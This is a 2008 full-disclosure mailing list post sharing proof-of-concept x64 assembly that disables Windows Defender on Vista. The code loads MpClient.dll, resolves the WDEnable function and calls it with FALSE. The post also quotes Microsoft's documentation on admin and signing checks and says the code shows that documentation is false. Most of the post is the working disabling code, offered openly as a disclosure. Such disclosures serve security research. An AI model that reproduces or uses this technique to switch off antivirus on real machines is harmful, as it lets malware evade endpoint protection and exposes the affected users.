full-disclosure - [Wired Security/EOF] Disable Windows Defender (Vista) PoC code

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Date: Wed, 14 May 2008 18:05:17 +0200
From: <skyout.fd@...ed-security.net>
To: full-disclosure@...ts.grok.org.uk
Subject: [Wired Security/EOF] Disable Windows Defender
	(Vista) PoC code

Hey guys,

my friend Izee from the EOF-Project(.net) team has coded a
simple PoC code, that demonstrates how to disable the Windows
Defender on Vista (tested with and without SPs on x86/x64)
using its own API made for it.

The API has the following structure:

--- SNIP ---
HRESULT WDEnable(
	BOOL fEnable
);
---

Something about the parameter(s):

--- SNIP ---
Parameters

	fEnable
		[in] Windows Defender status that the calling
		application wants to set. TRUE enables Windows
		Defender. FALSE disables Windows Defender. 
---

Now the interesting thing, what Microsoft says about the security
of this API:

--- SNIP ---
Remarks

	The application calling this function must run with
	administrator permissions on the local computer. In
	Windows Vista, the user is prompted for administrator
	permission when the application is running with lower
	privileges. Windows Defender also validates proper signing
	of the calling process (and all the loaded modules) before
	allowing the calling application to change the status. If the
	calling process image (or any loaded modules) is not signed
	or is flagged as a threat by the Windows Defender signature,
	then the call fails with the appropriate error code.
---

And here the code from Izee/EOF, that shows, that this is a lie and nothing
more. The users get fooled...

--- SNIP ---
extrn   LoadLibraryA   :proc
	extrn   GetProcAddress :proc
	extrn   ExitProcess    :proc

 .data

	l db '\Program Files\Windows Defender\MpClient',0
	p db 'WDEnable',0

 .code

 eof proc
 push rsp

	lea  rcx, l
	call LoadLibraryA

	lea  rdx, p
	mov  rcx, rax
	call GetProcAddress

	xor  rcx, rcx ;Turn Windows Defender off
	call rax

	call ExitProcess

 eof endp
 end
---

News: http://wired-security.net/archive/2008/may/index.php#07_2_052008

Sincerely,
SkyOut/Wired Security in corporation with Izee/EOF

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